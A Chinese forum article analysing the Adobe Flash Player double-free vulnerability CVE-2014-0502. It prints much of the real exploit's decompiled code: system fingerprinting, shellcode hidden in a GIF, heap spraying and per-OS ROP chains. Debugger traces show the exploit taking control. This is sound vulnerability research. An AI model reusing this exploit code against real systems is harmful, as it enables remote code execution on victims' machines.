全网最详细CVE-2014-0502 Adobe Flash Player双重释放漏洞分析
本文为看雪论坛精华文章
看雪论坛作者ID:LarryS
1
前言
2
静态代码分析
2.1 辅助函数分析
2.1.1 系统环境判断函数
public function detect_sys() : int {
var version:* = null;
var VerInt:Number = NaN;
var os:String = Capabilities.os.toLowerCase();
var language:String = Capabilities.language.toLowerCase();
// 如果是xp系统,根据语言不同得到不同返回值
if(os == "windows xp") {
if(language == "zh-cn") {
return 1;
}
if(language == "en") {
return 2;
}
if(language == "zh-tw") {
return 3;
}
return 0;
}
// 如果是win7系统,会执行checkversion()函数
if(os == "windows 7") {
ExternalInterface.call("eval","function checkversion(){ var result; var ua=window.navigator.userAgent.toLowerCase(); var temp=ua.replace(/ /g,\"\"); { if(temp.indexOf(\"nt6.1\")>-1&&temp.indexOf(\"msie\")>-1&&temp.indexOf(\"msie10.0\")==-1) { var java6=0; var java7=0; var a=0; var b=0; try { java6=new ActiveXObject(\"JavaWebStart.isInstalled.1.6.0.0\"); } catch(e){} try { java7=new ActiveXObject(\"JavaWebStart.isInstalled.1.7.0.0\"); } catch(e){} if(java6&&!java7) { return \"16\"; } try { a=new ActiveXObject(\"SharePoint.OpenDocuments.4\"); } catch(e){} try { b=new ActiveXObject(\"SharePoint.OpenDocuments.3\"); } catch(e){} if((typeof a)==\"object\"&&(typeof b)==\"object\") { try { location.href = \'ms-help://\' }catch(e){}; return \"10\"; } else if((typeof a)==\"number\"&&(typeof b)==\"object\") { try { location.href = \'ms-help://\' }catch(e){}; return \"07\"; } } } return \"0\";}");
version = ExternalInterface.call("eval","checkversion()");
trace(version);
return Number(parseInt(version,10));
}
return 0;
}
function checkversion() {
var result;
var ua = window.navigator.userAgent.toLowerCase();
var temp = ua.replace(/ /g, "");
{
if(temp.indexOf("nt6.1") > -1 && temp.indexOf("msie") > -1 && temp.indexOf("msie10.0") == -1) {
var java6 = 0;
var java7 = 0;
var a = 0;
var b = 0;
try {
java6 = new ActiveXObject("JavaWebStart.isInstalled.1.6.0.0");
} catch(e) {}
try {
java7 = new ActiveXObject("JavaWebStart.isInstalled.1.7.0.0");
} catch(e) {}
// 如果安装了java1.6,且未安装java1.7,返回16
if(java6 && !java7) {
return "16";
}
try {
a = new ActiveXObject("SharePoint.OpenDocuments.4");
} catch(e) {}
try {
b = new ActiveXObject("SharePoint.OpenDocuments.3");
} catch(e) {}
// 安装了office 2010
if((typeof a)=="object" && (typeof b)=="object") {
try {
location.href = 'ms-help://'
} catch(e) {};
return "10";
// 安装了office 2007
} else if((typeof a)=="number" && (typeof b)=="object") {
try {
location.href = 'ms-help://'
} catch(e) {};
return "07";
}
}
}
return "0";
}
2.1.2 事件监听函数
public function listener(e:Event) : void {
var bytes:ByteArray = new ByteArray();
// bytes的内容为logo.gif数据
bytes.writeBytes(e.target.data as ByteArray,0,(e.target.data as ByteArray).length);
bytes.position = bytes.length - 4;
bytes.endian = "littleEndian";
var len:uint = bytes.readUnsignedInt(); // 最后四个字节是shellcode长度
var shellbytes:ByteArray = new ByteArray();
// 读取shellcode内容
shellbytes.writeBytes(bytes,bytes.length - 4 - len,len);
shellbytes.position = 0;
// 设置共享变量mpsc为shellcode内容
worker.setSharedProperty("mpsc",shellbytes);
worker.start();
}
2.1.3 设置cookie值
public function cookie_func() : * {
ExternalInterface.call("eval","function setcookie(){var Then = new Date(); Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );document.cookie = \"Cookie1=XPT20131111; expires=\"+ Then.toGMTString();}function CanIFuck(){var cookieString = new String(document.cookie);if(cookieString.indexOf(\"XPT20131111\") == -1){setcookie(); return 1;}else{ return 0;}}");
var ret:String = ExternalInterface.call("eval","CanIFuck()");
return parseInt(ret,10);
}
function setcookie() {
var Then = new Date();
Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );
document.cookie = "Cookie1=XPT20131111; expires=" + Then.toGMTString();
}
function CanIFuck() {
var cookieString = new String(document.cookie);
if (cookieString.indexOf("XPT20131111") == -1) {
setcookie();
return 1;
} else {
return 0;
}
}
2.1.4 堆喷射函数
public static function heap_spray(val:*) : * {
var temp:* = null;
bytes = new ByteArray();
bytes.writeBytes(val);
// 成倍扩大bytes数组到1MB
while(bytes.length < 0x100000) {
temp = new ByteArray();
temp.writeBytes(bytes);
bytes.writeBytes(temp);
}
}
public static function heap_spray_func(val:*, size:*) : * {
if(null == bytes_array) {
bytes_array = [];
}
t = size;
heap_spray(val);
}
2.1.5 漏洞利用准备函数
public function gen_exp() : void {
var exp:String = "AAAA";
while(exp.length < 102400)
{
exp += exp;
}
var sobj:SharedObject = SharedObject.getLocal("record");
sobj.data.logs = exp;
}
2.2 主函数分析
public function cc() {
var loader:* = null;
var shellbytes:* = null;
var val:* = null;
var j:* = undefined;
var i:* = undefined;
var block1:* = null;
i = undefined;
var block:* = null;
var rop:* = null;
str = new String();
super();
if(Worker.current.isPrimordial) { // primordial worker
// 检查是否设置了cookie值XPT20131111,未设置则继续执行,否则返回
if(cookie_func() == 0) {
return;
}
sys = detect_sys(); // 检查系统环境
if(sys == 0) { // 系统为xp,且语言非中文、中国台湾、英文,则返回
return;
}
loader = new URLLoader();
loader.dataFormat = "binary";
// 完成加载后执行listener函数
// listener函数用于读取logo.gif中保存的shellcode
loader.addEventListener("complete",listener);
loader.load(new URLRequest("logo.gif")); // 加载图片logo.gif
// 创建background worker
worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
worker.setSharedProperty("version",sys);
} else { // background worker入口点
sys = Worker.current.getSharedProperty("version");
shellbytes = Worker.current.getSharedProperty("mpsc");
val = new ByteArray();
val.endian = "littleEndian";
var sc_len:uint = 0;
// 构造大小为32KB,包含shellcode的基础数据
for(i = 0; i < 0xc0c; ) {
val.writeByte(0x90 + i);
i++;
}
val.writeBytes(shellbytes);
for(i = val.length; i < 0x10000; ) {
val.writeByte(0x90 + i);
i++;
}
// 通过堆喷射函数扩展数据到1MB
heap_spray_func(val,0xFFFDC);
// 继续堆喷射,构造约224MB的数据
block1 = new ByteArray();
block1.writeBytes(bytes,0,0xFFFDC);
bytes_array.push(block1);
bytes = null;
for(i = 0; i < 0xe0; ) {
block = new ByteArray();
block.writeBytes(block1,0,0xFFFDC);
bytes_array.push(block);
i++;
}
// 漏洞利用准备,创建共享对象record
gen_exp();
// 根据不同系统环境构造不同rop
if(sys == 7) {
rop = gen_rop3();
rop.toString();
}
else if(sys == 10) {
rop = gen_rop2();
rop.toString();
}
else if(sys == 16) {
rop = gen_rop();
rop.toString();
}
else if(sys == 1 || sys == 2 || sys == 3) {
rop = gen_rop4();
rop.toString();
}
Worker.current.terminate(); // 结束当前进程,会释放共享对象record
}
}
2.3 漏洞利用原理初步分析
2.3.1 Worker的概念
2.3.2 SharedObject的概念
2.3.3 触发双重释放的原因
3
漏洞的动态调试分析
3.1 确定ROP进入位置
3.1.1 初步定位
(ac0.ff0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02aa4290 ebx=00000000 ecx=02aa41c0 edx=00000320 esi=02aa41c0 edi=0394fa1c
eip=77bf200d esp=0394fa18 ebp=0394fa44 iopl=0 ov up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010a07
MSACM32_77be0000!_pRawDllMain <PERF> (MSACM32_77be0000+0x1200d):
77bf200d 000500030000 add byte ptr ds:[300h],al ds:0023:00000300=??
public function gen_rop4() : ByteArray {
var baseaddr:int = 0;
var i:* = undefined;
if(sys == 1) {
baseaddr = 2008940544; // 77be0000 简体中文版
}
else if(sys == 2) {
baseaddr = 2009137152; // 77c10000
}
else if(sys == 3) {
baseaddr = 2008940544; // 77be0000
}
var rop:ByteArray = new ByteArray();
rop.endian = "littleEndian";
rop.writeMultiByte("FILL","iso-8859-1");
rop.writeUnsignedInt(171922 + baseaddr); // 77C09F92
rop.writeUnsignedInt(71891 + baseaddr); // 77BF18D3
rop.writeUnsignedInt(156885 + baseaddr); // 77C064D5
rop.writeUnsignedInt(156885 + baseaddr); // 77C064D5
rop.writeUnsignedInt(0xe0913 + baseaddr); // 77CC0913
rop.writeUnsignedInt(513); // 201
rop.writeUnsignedInt(248825 + baseaddr); // 77C1CBF9
rop.writeUnsignedInt(64);
...
rop.writeUnsignedInt(2425411327);
for(i = rop.length; i < 204; ) {
rop.writeByte(0x90);
i++;
}
return rop;
}
0:019> kb
ChildEBP RetAddr Args to Child
0394fa44 10101815 00000000 00000000 00000000 MSACM32_77be0000!_pRawDllMain <PERF> (MSACM32_77be0000+0x1200d)
WARNING: Stack unwind information not available. Following frames may be wrong.
0394fa70 10103075 00000000 02a563b0 02aa41c0 Flash32_11_7_700_261+0x101815
0394faf8 102dff93 02aa41c0 102e0063 02aa41c0 Flash32_11_7_700_261+0x103075
0394fb00 102e0063 02aa41c0 100fe0fd 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed29a
0394fb08 100fe0fd 00000000 031b2000 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed36a
0394fb1c 1015e803 7c809832 031b2000 031b2000 Flash32_11_7_700_261+0xfe0fd
0394fb6c 10210898 00000001 7c809832 031b2000 Flash32_11_7_700_261+0x15e803
0394fb80 10210e84 02c2d000 10210ebc 0394ff18 Flash32_11_7_700_261!DllUnregisterServer+0x1db9f
0394fb88 10210ebc 0394ff18 1003c391 00000001 Flash32_11_7_700_261!DllUnregisterServer+0x1e18b
0394fb90 1003c391 00000001 031b2000 032f2020 Flash32_11_7_700_261!DllUnregisterServer+0x1e1c3
0394ff90 10629336 02a783e0 10ba9cb4 02a7d338 Flash32_11_7_700_261+0x3c391
00000000 00000000 00000000 00000000 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0xe7ac6
0:019> ub Flash32_11_7_700_261+0x101815
Flash32_11_7_700_261+0x101804:
10101804 10d9 adc cl,bl
10101806 ee out dx,al
10101807 53 push ebx
10101808 51 push ecx
10101809 51 push ecx
1010180a dd1c24 fstp qword ptr [esp]
1010180d ff7508 push dword ptr [ebp+8]
10101810 e821f9ffff call Flash32_11_7_700_261+0x101136 (10101136)
3.1.2 解决遇到的问题
0:020> bl
0 e 76b5d038 0001 (0001) 0:**** WINMM!midiOutPlayNextPolyEvent // 这个是之前调试其他问题留下的,忽略它
1 e 10101810 0001 (0001) 0:**** Flash32_11_7_700_261+0x101810
2 e 10101136 0001 (0001) 0:**** Flash32_11_7_700_261+0x101136 // 函数在这里开始
3 e 10101153 0001 (0001) 0:**** Flash32_11_7_700_261+0x101153
4 e 10101173 0001 (0001) 0:**** Flash32_11_7_700_261+0x101173
5 e 10101199 0001 (0001) 0:**** Flash32_11_7_700_261+0x101199
6 e 101011b3 0001 (0001) 0:**** Flash32_11_7_700_261+0x1011b3
7 e 101011f2 0001 (0001) 0:**** Flash32_11_7_700_261+0x1011f2
8 e 1010122e 0001 (0001) 0:**** Flash32_11_7_700_261+0x10122e
9 e 10101261 0001 (0001) 0:**** Flash32_11_7_700_261+0x101261
10 e 10101265 0001 (0001) 0:**** Flash32_11_7_700_261+0x101265
11 e 1010126b 0001 (0001) 0:**** Flash32_11_7_700_261+0x10126b
12 e 101012a8 0001 (0001) 0:**** Flash32_11_7_700_261+0x1012a8
13 e 101012da 0001 (0001) 0:**** Flash32_11_7_700_261+0x1012da
14 e 101012f3 0001 (0001) 0:**** Flash32_11_7_700_261+0x1012f3
15 e 1010116e 0001 (0001) 0:**** Flash32_11_7_700_261+0x10116e
16 e 10101299 0001 (0001) 0:**** Flash32_11_7_700_261+0x101299
17 e 1010114c 0001 (0001) 0:**** Flash32_11_7_700_261+0x10114c // 函数在这里退出
Breakpoint 2 hit
Breakpoint 3 hit
Breakpoint 4 hit
Breakpoint 5 hit
Breakpoint 6 hit
Breakpoint 7 hit
Breakpoint 8 hit
Breakpoint 10 hit
Breakpoint 11 hit
Breakpoint 16 hit
Breakpoint 17 hit
Breakpoint 5 hit
Breakpoint 6 hit
// 然后就中断在异常位置了
0:020> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
03a4f81c 10101815 00000000 00000000 00000000 Flash32_11_7_700_261+0x101199
03a4f848 10103075 00000000 02aa41c0 02aa41c0 Flash32_11_7_700_261+0x101815
03a4f8d0 102dff93 02aa41c0 102e0063 02acf1b0 Flash32_11_7_700_261+0x103075
03a4f8d8 102e0063 02acf1b0 1014bc69 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed29a
03a4f8e0 1014bc69 00000000 0334d308 03bf6a80 Flash32_11_7_700_261!DllUnregisterServer+0xed36a
03a4f910 105b68cf 03bf6a80 0369a298 00000000 Flash32_11_7_700_261+0x14bc69
03a4f944 1062a5e4 10b70b54 00000048 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x7505f
03a4f99c 10035c09 100e3933 00000001 03a4f9c4 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0xe8d74
03a4f9a0 100e3933 00000001 03a4f9c4 100f479d Flash32_11_7_700_261+0x35c09
03a4f9ac 100f479d 0369a000 100b564c fffffffe Flash32_11_7_700_261+0xe3933
03a4f9e0 100b6339 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261+0xf479d
03a4f9f8 100b68ff 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261+0xb6339
03a4fa1c 10101196 037b9060 02a563b0 02aa41c0 Flash32_11_7_700_261+0xb68ff
03a4fa44 10101815 00000000 00000000 00000000 Flash32_11_7_700_261+0x101196
03a4fa70 10103075 00000000 02a563b0 02aa41c0 Flash32_11_7_700_261+0x101815 // 看这里!!!
03a4faf8 102dff93 02aa41c0 102e0063 02aa41c0 Flash32_11_7_700_261+0x103075
03a4fb00 102e0063 02aa41c0 100fe0fd 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed29a
03a4fb08 100fe0fd 00000000 0369a000 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed36a
03a4fb1c 1015e803 7c809832 0369a000 0369a000 Flash32_11_7_700_261+0xfe0fd
03a4fb6c 10210898 00000001 7c809832 0369a000 Flash32_11_7_700_261+0x15e803
3.1.3 继续定位
0:020> p
eax=02aa4290 ebx=00000000 ecx=02aa41c0 edx=00000320 esi=02aa41c0 edi=03a4fa1c
eip=101011c2 esp=03a4fa1c ebp=03a4fa44 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
Flash32_11_7_700_261+0x1011c2:
101011c2 ff5008 call dword ptr [eax+8] ds:0023:02aa4298=77bf18d3
0:020> dd eax
02aa4290 00000000 77c09f92 77bf18d3 77c064d5
02aa42a0 77c064d5 77c16e91 00000201 77c1cbf9
02aa42b0 00000040 77bfc343 77c305b5 77bf3b47
02aa42c0 77c09f92 77c04d9a 77bfaacc 77bf1d16
02aa42d0 77be1131 77c267f0 77c21025 0c0c08b8
02aa42e0 04c0830c 90903881 f5749090 20b8f08b
02aa42f0 8b77be11 05b56800 406a77c3 00200068
02aa4300 d0ff5600 9090d6ff 90909090 90909090
3.2 ROP进入位置的数据分析
0:020> p
eax=10c3d06c ebx=00000000 ecx=02aa41c0 edx=00000320 esi=02aa41c0 edi=03a4f7f4
eip=101011c2 esp=03a4f7f4 ebp=03a4f81c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
Flash32_11_7_700_261+0x1011c2:
101011c2 ff5008 call dword ptr [eax+8] ds:0023:10c3d074=10073c89
0:020> ddp ecx
02aa41c0 10c3d06c 102e005b Flash32_11_7_700_261!DllUnregisterServer+0xed362
02aa41c4 00000000
02aa41c8 0369a000 10bbbd10 Flash32_11_7_700_261!AdobeCPGetAPI+0x3d9490
02aa41cc 02a60ee0 3239312f
02aa41d0 0000001c
02aa41d4 0000001d
02aa41d8 02a55be0 6f636572
02aa41dc 00000006
02aa41e0 00000007
02aa41e4 00000000
02aa41e8 00000000
...
0:020> dda ecx
02aa41c0 10c3d06c "["
02aa41c4 00000000
02aa41c8 0369a000 "...."
02aa41cc 02a60ee0 "/192.168.6.198/record/cc.swf"
02aa41d0 0000001c
02aa41d4 0000001d
02aa41d8 02a55be0 "record"
02aa41dc 00000006
02aa41e0 00000007
02aa41e4 00000000
02aa41e8 00000000
02aa41ec 00000000
02aa41f0 00000000
02aa41f4 00000000
02aa41f8 00000000
02aa41fc 02a97290 "C:/Documents and Settings/test/Application Data/Macrome"
02aa4200 00000067
02aa4204 00000068
02aa4208 02a5eca0 "C:/Documents and Settings/test/Application Data/Macrome"
02aa420c 0000007f
02aa4210 00000080
02aa4214 00000000
02aa4218 00000000
02aa421c 00000000
02aa4220 02a7b4f0 "C:/Documents and Settings/test/Application Data/Macrome"
02aa4224 00000055
02aa4228 00000056
02aa422c 02b013a0 "C:/Documents and Settings/test/Application Data/Macrome"
02aa4230 0000006d
02aa4234 0000006e
02aa4238 00000000
02aa423c 00000000
0:020> da 02a97290
02a97290 "C:/Documents and Settings/test/A"
02a972b0 "pplication Data/Macromedia/Flash"
02a972d0 " Player/192.168.6.198/cc.swf/rec"
02a972f0 "ord.sol"
0:020> da 02a5eca0
02a5eca0 "C:/Documents and Settings/test/A"
02a5ecc0 "pplication Data/Macromedia/Flash"
02a5ece0 " Player/#SharedObjects/8285T5QE/"
02a5ed00 "192.168.6.198/cc.swf/record.sol"
var sobj:SharedObject = SharedObject.getLocal("record");
.rdata:10C3D06C 5B 00 2E 10 off_10C3D06C dd offset sub_102E005B ; DATA XREF: sub_102DFF63+16↑o
.rdata:10C3D06C ; sub_102DFF85+3↑o
.rdata:10C3D070 11 30 10 10 dd offset sub_10103011
.rdata:10C3D074 89 3C 07 10 dd offset ?Id@SchedulerBase@details@Concurrency@@UBEIXZ ; Concurrency::details::SchedulerBase::Id(void)
.rdata:10C3D078 D9 13 2E 10 dd offset sub_102E13D9
.rdata:10C3D07C 77 00 2E 10 dd offset sub_102E0077
.rdata:10C3D080 44 03 2E 10 dd offset sub_102E0344
.rdata:10C3D084 8E 04 2E 10 dd offset sub_102E048E
.rdata:10C3D088 A1 D2 1B 10 dd offset nullsub_2
.rdata:10C3D08C C5 06 2E 10 dd offset sub_102E06C5
.rdata:10C3D090 9B FF 2D 10 dd offset sub_102DFF9B
0:020> p
eax=02aa4290 ebx=00000000 ecx=02aa41c0 edx=00000320 esi=02aa41c0 edi=03a4fa1c
eip=101011c2 esp=03a4fa1c ebp=03a4fa44 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
Flash32_11_7_700_261+0x1011c2:
101011c2 ff5008 call dword ptr [eax+8] ds:0023:02aa4298=77bf18d3
0:020> dd ecx
02aa41c0 02aa4290 00000000 0369a000 00000000
02aa41d0 00000000 00000000 00000000 00000000
02aa41e0 00000000 00000000 00000000 00000000
02aa41f0 00000000 00000000 00000000 00000000
02aa4200 00000000 00000000 00000000 00000000
02aa4210 00000000 00000000 00000000 00000000
02aa4220 00000000 00000000 00000000 00000000
02aa4230 00000000 00000000 00000000 00000000
3.3 漏洞利用流程调试
3.3.1 确定两次flush的发生
0:020> ba w4 02aa41c0
0:020> g
Breakpoint 3 hit
eax=032f2020 ebx=00000000 ecx=02aa41c0 edx=02ad6610 esi=02aa41c0 edi=02aa41c0
eip=1010311d esp=03a4f8d8 ebp=03bf6a80 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
Flash32_11_7_700_261+0x10311d:
1010311d e8effeffff call Flash32_11_7_700_261+0x103011 (10103011)
0:020> g
Breakpoint 3 hit
eax=02aa41c0 ebx=7c809832 ecx=10f42c78 edx=02aa4290 esi=02aa4000 edi=00000000
eip=105ab619 esp=03a4f8d0 ebp=10f42c78 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x69da9:
105ab619 0fb74e10 movzx ecx,word ptr [esi+10h] ds:0023:02aa4010=0003
0:020> dd 02aa41c0
02aa41c0 02aa4290 00000000 0369a000 00000000
02aa41d0 00000000 00000000 00000000 00000000
02aa41e0 00000000 00000000 00000000 00000000
02aa41f0 00000000 00000000 00000000 00000000
02aa4200 00000000 00000000 00000000 00000000
02aa4210 00000000 00000000 00000000 00000000
02aa4220 00000000 00000000 00000000 00000000
02aa4230 00000000 00000000 00000000 00000000
0:020> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
03a4f8e4 1014bc76 0334d308 03bf6a80 0368a7ac Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x69da9
03a4f910 105b68cf 03bf6a80 0369a298 00000000 Flash32_11_7_700_261+0x14bc76
03a4f944 1062a5e4 10b70b54 00000048 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x7505f
03a4f99c 10035c09 100e3933 00000001 03a4f9c4 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0xe8d74
03a4f9a0 100e3933 00000001 03a4f9c4 100f479d Flash32_11_7_700_261+0x35c09
03a4f9ac 100f479d 0369a000 100b564c fffffffe Flash32_11_7_700_261+0xe3933
03a4f9e0 100b6339 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261+0xf479d
03a4f9f8 100b68ff 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261+0xb6339
03a4fa1c 10101196 037b9060 02a563b0 02aa41c0 Flash32_11_7_700_261+0xb68ff
03a4fa44 10101815 00000000 00000000 00000000 Flash32_11_7_700_261+0x101196
03a4fa70 10103075 00000000 02a563b0 02aa41c0 Flash32_11_7_700_261+0x101815
03a4faf8 102dff93 02aa41c0 102e0063 02aa41c0 Flash32_11_7_700_261+0x103075
03a4fb00 102e0063 02aa41c0 100fe0fd 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed29a // 02aa41c0第一次出现在这里
03a4fb08 100fe0fd 00000000 0369a000 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed36a
03a4fb1c 1015e803 7c809832 0369a000 0369a000 Flash32_11_7_700_261+0xfe0fd
03a4fb6c 10210898 00000001 7c809832 0369a000 Flash32_11_7_700_261+0x15e803
03a4fb80 10210e84 0368a000 10210ebc 03a4ff18 Flash32_11_7_700_261!DllUnregisterServer+0x1db9f
03a4fb88 10210ebc 03a4ff18 1003c391 00000001 Flash32_11_7_700_261!DllUnregisterServer+0x1e18b
03a4fb90 1003c391 00000001 0369a000 032f2020 Flash32_11_7_700_261!DllUnregisterServer+0x1e1c3
03a4ff90 10629336 02a783e0 10ba9cb4 02a7d338 Flash32_11_7_700_261+0x3c391
void *__thiscall deconstruct(void *this, char a2)
{
sub_102DFF85();
if ( (a2 & 1) != 0 )
operator delete(this);
return this;
}
// 漏洞利用准备
gen_exp(); // 在这里构造record对象
// 根据不同系统构造不同rop
if(sys == 7) {
rop = gen_rop3(); // 然后在这里构造ROP
rop.toString();
}
...
程序第一次中断在第5个断点的时候,应该是在构造record对象,或者至少是在执行gen_exp()中的相关操作(后面调试发现是后者); (后面调试发现这么想是错误的); 之后程序开始构造ROP,ROP相关数据位于02aa4290的位置; 之后程序执行terminate(),会再次尝试析构,此时会导致双重释放; 函数deconstruct(102E005B)和析构应该有关系。
(1)第一次中断在10101810:
02aa4290中不存在ROP数据,record对象(02aa41c0)中无数据
设置相应断点:
0:000> bl
~~0 e 76b5d038 0001 (0001) 0:**** WINMM!midiOutPlayNextPolyEvent~~
1 e 10101810 0001 (0001) 0:**** Flash32_11_7_700_261+0x101810 // 调用rop_func
2 e 02aa4294 w 4 0001 (0001) 0:**** // 监控ROP数据写入
3 e 102e005b 0001 (0001) 0:**** Flash32_11_7_700_261!DllUnregisterServer+0xed362 // deconstruct函数
4 e 02aa41c0 w 4 0001 (0001) 0:**** // record对象
(2)继续执行,在断点4中断四次,第五次中断时,02aa41c0处写入了一个四字节数据(不是10c3d06c),同时在对之后的空间进行清空:
0:020> g
Breakpoint 4 hit
eax=02aa41c0 ebx=00000000 ecx=02aa41c0 edx=00000000 esi=02aa41c0 edi=03b4f354
eip=100fd33a esp=03b4f0ec ebp=03b4f0f4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
Flash32_11_7_700_261+0xfd33a:
100fd33a 895e0c mov dword ptr [esi+0Ch],ebx ds:0023:02aa41cc=00000000
0:020> uf eip
Flash32_11_7_700_261+0xfd340:
100fd340 895e14 mov dword ptr [esi+14h],ebx
100fd343 895e18 mov dword ptr [esi+18h],ebx
100fd346 895e1c mov dword ptr [esi+1Ch],ebx
100fd349 895e20 mov dword ptr [esi+20h],ebx
100fd34c 895e24 mov dword ptr [esi+24h],ebx
100fd34f 895e28 mov dword ptr [esi+28h],ebx
100fd352 895e2c mov dword ptr [esi+2Ch],ebx
100fd355 895e30 mov dword ptr [esi+30h],ebx
...
检查此时的函数调用流程:
0:020> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
03b4f0f4 102dff6f 03259000 03a32c38 102dffea Flash32_11_7_700_261+0xfd33a
03b4f29c 10252aa5 02a55bd0 10101917 0388d080 Flash32_11_7_700_261!DllUnregisterServer+0xed276
03b4f2ec 10283de5 03b4f388 00000000 0388d080 Flash32_11_7_700_261!DllUnregisterServer+0x5fdac
03b4f318 102e0fea 03b4f388 10101917 03a32c38 Flash32_11_7_700_261!DllUnregisterServer+0x910ec
03b4f378 102907b9 03a32c38 03a32a80 03a32c3e Flash32_11_7_700_261!DllUnregisterServer+0xee2f1
03b4f4e0 1069036a 03c92ee0 00000000 03b4f54c Flash32_11_7_700_261!DllUnregisterServer+0x9dac0
03b4f4e4 03c92ee0 00000000 03b4f54c 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x14eafa
03b4f4e8 00000000 03b4f54c 00000000 03b4f4bc 0x3c92ee0
在IDA中检查各个返回地址所在函数,在第四个返回地址102e0fea所在函数中,看到了下面的伪代码:
...
if ( sub_1013FB10(v36) == 2 )
{
v8 = (_DWORD *)sub_102D7F84(v33);
v9 = (int *)sub_1022C395(*v8);
v10 = *(_DWORD *)(v7 + 28);
v35 = *v9;
v34 = sub_10610370(v10, 22);
v11 = sub_1013FB40(v6);
v27 = sub_106119B0(v11);
v26 = sub_106119B0("SharedObject.getLocal");
v12 = sub_106119B0(v35);
sub_106104D0(2146, v12, v26, v27);
}
...
所以合理猜测这里就是在执行var sobj:SharedObject = SharedObject.getLocal("record");语句,并为record对象的数据准备空间。
继续执行,又在第4个断点中断了一次,此时写入了正确的数值10c3d06c;
(3)继续执行,在断点2中断两次,第三次中断时,02aa4290处写入了ROP相关数据。
0:020> g
Breakpoint 2 hit
eax=03cd20cc ebx=02aa4290 ecx=00000031 edx=00000000 esi=03cd2008 edi=02aa4298
eip=107b42da esp=03a4f390 ebp=03a4f398 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x272a6a:
107b42da f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:02aa4298=0063006f ds:0023:03cd2008=77bf18d3
(4)继续执行,第二次中断在10101810。
(5)继续执行,中断在第3个断点,此时执行和析构相关操作,此时record对象还未被清空。因为在上面的伪代码中,发现这个函数中包含了delete操作,因此此时开始单步,看一下record对象的清空操作。
① 程序中断在第4个断点,record对象被修改,但是不是清空操作(后来发现在第3个断点后,必然会有一次record对象被修改的操作,两个断点会连着中断)。
② 程序第三次中断在10101810(因为下面包含了嵌套,所以说明接下来的第3个断点中断位于rop_func中)。
③ 程序中断在第3个断点。
0:020> g
Breakpoint 4 hit
eax=033f2020 ebx=00000000 ecx=02aa41c0 edx=02ad6610 esi=02aa41c0 edi=02aa41c0
eip=1010311d esp=03b4f8d8 ebp=03cf2a80 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
Flash32_11_7_700_261+0x10311d:
1010311d e8effeffff call Flash32_11_7_700_261+0x103011 (10103011)
这里接下来的一段代码都是对this指针处数据的处理,我单步了一下,果然发现这个函数就是在对record对象处的数据进行清空,把这个函数叫做clear_object,整个函数执行完后:
0:020> p
eax=00000001 ebx=00000000 ecx=02a60e60 edx=00000000 esi=02aa41c0 edi=02aa41c0
eip=1006631d esp=03b4f8dc ebp=03cf2a80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
Flash32_11_7_700_261+0x6631d:
1006631d c3 ret
0:020> dd 02aa41c0
02aa41c0 10b9e9b8 00000000 02c4a000 00000000
02aa41d0 00000000 00000000 00000000 00000000
02aa41e0 00000000 00000000 00000000 00000000
02aa41f0 00000000 00000000 00000000 00000000
02aa4200 00000000 00000000 00000000 00000000
02aa4210 00000000 00000000 00000000 00000000
02aa4220 00000000 00000000 00000000 00000000
02aa4230 00000000 00000000 00000000 00000000
e. 程序中断在第5个断点,到达外层步骤c对应的条件判断语句处,直接跳转,没有到达delete语句。
(4)程序中断在第4个断点,record对象的虚函数表指针被修改成了02aa4290。即本小节一开始提到的位置。把这个函数叫做change_vtable。
(5)继续执行,到达ROP。
- 生成record对象
- 生成ROP
- deconstruct ->
- rop_func ->
- deconstruct ->
- rop_func ->
- clear_object -> 这里释放了record对象空间
- 修改record对象的虚函数表指针
- 转入rop中执行
